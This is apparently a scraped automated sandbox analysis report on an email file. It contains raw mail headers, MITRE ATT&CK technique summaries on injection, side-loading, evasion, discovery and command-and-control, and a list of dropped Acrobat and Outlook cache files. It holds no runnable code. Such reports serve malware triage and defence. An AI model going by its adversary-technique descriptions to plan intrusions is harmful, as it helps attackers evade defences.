GagH7MPw5DOii19Ex/ePqOug7S2MF4sZ2A4lv0j062D+Srq8tqn9ZbtdpTMGWhYkf2fwqz2CaP1eMBeg3wZvckChv4dlcH4QoyAlGHuxu5SIsCE3IegQOfPvJ5sg/7En3QBt7MuycaaGXnI+bXO0hJntgruzZ8QtVBBNrqzRdXuiKWivFDY3aq9vkCAGk8gwI+gfLgY/aDbK1jKbQSGnYEgxMB6pto2uZCef0SS2WFNYaz/2LOccwlnKYaM0LyDREQsxgSglGlyWnwuRlo3Y=
x-forefront-antispam-report	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO6P222MB0537.NAMP222.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(366016)(38070700018)(4053099003)(8096899003);DIR:OUT;SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount	1
x-ms-exchange-antispam-messagedata-0	1/JC6h0+VuIGe4MkVXwjV+OvDjesfYuatWSkOhaW7EHLXW4ZBN2wkvOirP2GWBgYKwDNnrXxOKPFds3rPvE7yUK44HhZramrHhWEWcGoLYZYGfXTTi8gmaM2jC5S2ETMVl8S5sOdKW4j3Vf01mUm8DarPYYPmMr4vditxPM2oxSXw3XEdgnJDuAxNjebECuVlZtVsNXUaD0CCR9BV1clMC9gZ38nHcu7yHxUgYWwDITUbjtNnmXQ0L6JyW6hPg5HzOaGoanh3I8cV87qMI+ZA4DmiCg1U3yjUsnfaQbX2C6zvxd2KxA+m3EOZ+RNqblcjuloFXz9Hv6nMvC5wjIICdjn9Y6vz+1al9mZ+fEoliZ760jPqhpJxBkhVwoj9A5x8VIhlp/C0sD9as8xykNtPcH9uAeAjejv3h1fntUDZNeLLPsiwppHcIhMvk4s3uv7q7nagg8X3Yk9rOBmpkhDaTXtuysafJE2H0lHPzXfAou1e+0renxpxm1jJWbQwCGjWtuKdPkhcgQt7osWT1DNfrl2vgChLq+asGfqscYTSNaKDX6ZI3Y08XIZQkoznpGcXQt2DTNjW8gMFyOighDDa5PShOfq2gQnaAfFwC3RdR5qwIZSOr50RKd/Gbpl31pSG8NR4n/ilWdXnSLSfFcnmNMOR3Bkd/sJjbi/GuIBq0v49pGhdNKRVWF9A1dnEDUFKfyPsOY9M5aD1hTk4Xfla64Vuf7FEvSCCwsabdsmKkB0/9YL6Re+fA5eiekw2rOGospM9CnzXeJF8FoEpAWyxz22PZUIkNHDJA/bg423CkzhE/ZVrLJBYAaxU9sVOQIQVK/jU/XHYKl9gWnvGXvZ4d8Pg0T1Ls9o3nilone1Q9MzVeTQNOyi6R06e+4sqZyL61DLH2fEbWZe1UtfpQT6NHNzCKBxFKkAVQ39K4XR4stYsLhUPFJk+th2vFh8Cz5zR3BQ/vhDILn4mSyOHyHF75YZFIAQui4dQiHzwkNplFfu8aE6cfqTh89f3rJrnqjRGcKzpRtmtlfIlUDB2BL6LClMWJCRsdo+WgOim2rqQ9Z4tEWu96HfH94fPhAVwKj0Q8cHJkPbzQ0cPsBXtNBKC3EGp4Row3dKqi8InVOhg2ET04rb7BRpdy56hUeJPaeCwhIkXLl0O8zTf2YcvP9aeiGfFgKzjinRwJsCn6Ce+OvYYShW8ShzJl1lcEOjsHlamRYP6JFQOoNoYaIdpEEqMYTsIy82CpeVWS+3jYJl+R940FxSmVZ/yaLI9ekmejQ1yXdl1ZZ5qyH9+iJ4nOr1iM/zD3dtBcqsfP1QDxrDLsqW7G8IyrUIr1BqIS0OXEd+bT0m0vByRceepVsPt/hkNIDNFgAjKsE2jfRDvXWpTdVsZDNRl2BIbssU4sd1ThtObIOhLoFFY5Mwo0EKc5hfwcU4owB4LUe3QkmnEy02kgwJ6UclUsVfSa6WsG68yG/IFm4j1PVoFcXdirq3vwCG6QHrI7J56kM07z2UR1V7nJR2Bw22dqqrvWsz1lzI9imkl25B5Rb+jpTL22eL8HY+qyE/2ggLIAgEPiVxp/c6v+gseSAEPLKrsg9pKuzvO6tv
Content-Type	multipart/mixed; boundary="_004_CO6P222MB053772CEDCB6CACF9450BC2F86B22CO6P222MB0537NAMP_"
MIME-Version	1.0
X-OriginatorOrg	pharma.com
X-MS-Exchange-CrossTenant-AuthAs	Internal
X-MS-Exchange-CrossTenant-AuthSource	CO6P222MB0537.NAMP222.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id	bf97da44-441b-4bc8-097c-08dd7c2f137c
X-MS-Exchange-CrossTenant-originalarrivaltime	15 Apr 2025 15:06:18.8154 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader	Hosted
X-MS-Exchange-CrossTenant-id	ebc65a9c-d996-4923-8db2-d9dd25f63770
X-MS-Exchange-CrossTenant-mailboxtype	HOSTED
X-MS-Exchange-CrossTenant-userprincipalname	CI75UB+P/K1Xcb5f2QFhQjO4SelLtcNka0t50YlPqnzZxj2HumX+frzkGCrob87POqXuBEqiAEQJl0Xtl94lAc4RFG9jwIWTWLUH7PZJ3aU=
X-MS-Exchange-Transport-CrossTenantHeadersStamped	SJ2P222MB0856

File Icon


Icon Hash:	46070c0a8e0c67d6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report original.eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ccc2a5f-22a2-4a4a-ad34-c72f9e1c462d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250415151747Z-164.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

C:\Users\user\AppData\Local\Temp\MSI3a70c.LOG

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250415T1117360808-6964.etl

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-15 11-17-45-302.log

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

C:\Users\user\AppData\Local\Temp\olkB36C.tmp

Windows Analysis Report
original.eml